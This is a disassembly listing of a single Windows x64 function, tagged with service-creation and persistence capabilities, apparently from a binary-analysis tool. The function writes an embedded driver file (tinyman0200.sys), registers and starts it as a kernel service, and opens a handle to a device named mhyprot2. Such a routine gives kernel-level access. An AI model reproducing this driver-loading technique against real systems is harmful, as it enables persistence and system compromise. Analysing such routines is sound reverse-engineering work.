Function at 0x140002040
Capabilities:
Create service
Get common file path
Persist via windows service
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x1401a7008]
xor rax, rsp
mov qword [rbp + 0x220], rax
xor esi, esi
mov r8d, 0x104
lea rdx, [rbp + 0x110]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], sil
lea r8d, [rsi + 0xf]
lea rdx, str.tinyman0200.sys
lea rcx, [rbp - 0x28]
call fcn.1400039e0
nop
lea rdx, [rbp]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], sil
lea rax, [rbp]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400020e0
lea rdx, [rbp]
lea rcx, [rbp - 0x70]
call fcn.1400039e0
nop
mov r8d, 1
lea rdx, [0x140061bb0]
lea rcx, [rbp - 0x70]
call fcn.140003b40
mov qword [rsp + 0x70], rsi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0xf
lea rdx, str.tinyman0200.sys
lea rcx, [rsp + 0x70]
call fcn.140003b40
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1400021ba
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005f2bc
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140002209
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002204
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002204
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005f2bc
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
lea rbx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rbx, qword [rbp - 0x28]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
lea rcx, [rbp]
call fcn.140003500
nop
mov r8d, 0x136078
lea rdx, [0x140061c90]
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 8]
test byte [rdx + rax + 0x10], 6
je 0x1400022e0
call fcn.140003930
test rax, rax
jne 0x140002295
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, [rbp]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call fcn.140003490
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xa8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x140002471
call fcn.140003930
test rax, rax
jne 0x140002307
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, [rbp]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call fcn.140003490
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xa8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rbx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rbx, qword [rbp - 0x48]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
mov r9d, 0x10030
lea r8, str.tinyman0200
lea rdx, str.tinyman0200
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rbx, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x1400023d9
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov qword [0x1401a8998], rbx
jmp 0x140002411
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
cmp eax, 0x431
jne 0x140002460
mov r8d, 0x10030
lea rdx, str.tinyman0200
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
mov qword [0x1401a8998], rax
test rax, rax
je 0x140002471
cmp rax, 0xffffffffffffffff
je 0x140002471
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x140002471
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str._mhyprot2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1401a8990], rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140002471
mov bl, 1
jmp 0x140002473
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov qword [0x1401a8998], 0xffffffffffffffff
xor bl, bl
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1400024b1
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400024ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005f2bc
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x1400024ff
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400024fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005f2bc
movzx eax, bl
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.14005f260
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret